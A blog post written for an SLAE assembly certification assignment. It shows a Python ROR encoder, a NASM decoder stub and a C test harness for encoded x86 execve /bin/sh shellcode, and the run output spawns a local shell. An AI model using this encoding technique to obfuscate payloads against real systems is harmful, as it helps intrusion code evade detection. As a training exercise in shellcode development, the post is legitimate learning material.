Thursday 16 June 2016

x86 custom encoder shellcode

As the fourth part of my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) assignments, the task is to produce a working custom encoder shellcode of my own design.

The task description is to use a basic execve /bin/sh shellcode as the encoded payload but anything could be used as all the encoder will do would be to decode the payload and pass execution to it.  One of the requirements of the resultant shellcode would be that it doesn't contain nulls, so it would make sense to be able to iterate through a range of encoders or keys to ensure that different payloads can be encoded without nulls in the resultant shellcode.

Since we already implemented an XOR encoder during the course, I've decided to use circular shift as the encoding technique because it is lossless & easy to implement at the assembler level.  As a nice side-effect, the only way I could have a null in the encoded shellcode is by passing a null into it.

Using a similar methodology and the templates from the course, I put together a  python script to encode the payload and a nasm file as the encoder stub, which then contains the encoded payload shellcode - this time using ROR by 4 bits.

https://github.com/pabb85/SLAE/blob/master/rot-encoder.py ;

1:  #!/usr/bin/python  
2:    
3:  # Python ROR Encoder   
4:    
5:  ror = lambda val, r_bits, max_bits: \  
6:    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \  
7:    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))  
8:    
9:  #print "%x" % ror(0xff, 4, 8)  
10:  #print "%x" % ror(0x00, 4, 8)  
11:  #print "%x" % ror(0x1, 4, 8)  
12:  #print "%x" % ror(0xf, 4, 8)  
13:    
14:    
15:  shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")  
16:  #shellcode = ("\x13\x0c\x05\x86\xf2\xf2\x37\x86\x86\xf2\x26\x96\xe6\x98\x3e\x05\x98\x2e\x35\x98\x1e\x0b\xb0\xdc\x08")  
17:    
18:  encoded = ""  
19:  encoded2 = ""  
20:    
21:  print 'Encoded shellcode ...'  
22:    
23:  for x in bytearray(shellcode) :  
24:       # XOR Encoding        
25:       y = ror(x, 4, 8)  
26:       encoded += '\\x'  
27:       encoded += '%02x' % y  
28:    
29:       encoded2 += '0x'  
30:       encoded2 += '%02x,' %y  
31:    
32:    
33:  print encoded  
34:    
35:  print encoded2  
36:    
37:  print 'Len: %d' % len(bytearray(shellcode))  
38:    


https://github.com/pabb85/SLAE/blob/master/ror-decoder.nasm ;

1:  ; Filename: ror-decoder.nasm  
2:  ;  
3:  ; Purpose:   
4:    
5:  global _start                 
6:    
7:  section .text  
8:  _start:  
9:    
10:       jmp short call_decoder  
11:    
12:  decoder:  
13:       pop esi  
14:       xor ecx, ecx  
15:       mov cl, 25  
16:    
17:    
18:  decode:  
19:       ror byte [esi], 4  
20:       inc esi  
21:       loop decode  
22:    
23:       jmp short Shellcode  
24:    
25:    
26:    
27:  call_decoder:  
28:    
29:       call decoder  
30:       Shellcode: db 0x13,0x0c,0x05,0x86,0xf2,0xf2,0x37,0x86,0x86,0xf2,0x26,0x96,0xe6,0x98,0x3e,0x05,0x98,0x2e,0x35,0x98,0x1e,0x0b,0xb0,0xdc,0x08  
31:    
32:    

Then use the objdump one-liner to extract the shellcode - n.b. this strangely misses one byte out (0x37), this caused a bit of frustration for me!!  I will look into why this is the case but for now note that I have added it in below, in bold.

 paul@SLAE001:~$ objdump -d ./ror-decoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'   
 "\xeb\x0d\x5e\x31\xc9\xb1\x19\xc0\x0e\x04\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff\x13\x0c\x05\x86\xf2\xf2\x37\x86\x86\xf2\x26\x96\xe6\x98\x3e\x05\x98\x2e\x35\x98\x1e\x0b\xb0\xdc\x08"  
   

Finally, compile the shellcode.c with the new encoded shellcode within and test;

 paul@SLAE001:~$ cat shellcode.c   
 #include<stdio.h>  
 #include<string.h>  
   
 unsigned char code[] = \  
 "\xeb\x0d\x5e\x31\xc9\xb1\x19\xc0\x0e\x04\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff\x13\x0c\x05\x86\xf2\xf2\x37\x86\x86\xf2\x26\x96\xe6\x98\x3e\x05\x98\x2e\x35\x98\x1e\x0b\xb0\xdc\x08";  
   
 main()  
 {  
   
      printf("Shellcode Length: %d\n", strlen(code));  
   
      int (*ret)() = (int(*)())code;  
   
      ret();  
   
 }  
   
        
 paul@SLAE001:~$ gcc shellcode.c -o shellcode -m32 -fno-stack-protector -z execstack  
 paul@SLAE001:~$ ./shellcode   
 Shellcode Length: 45  
 $ id  
 uid=1000(paul) gid=1000(paul) groups=1000(paul),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)  
 $   
   


Great...!  This worked in the end.  The 0x37 issue was a bit annoying but I will try and figure out what was going wrong.




This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID:  SLAE-469.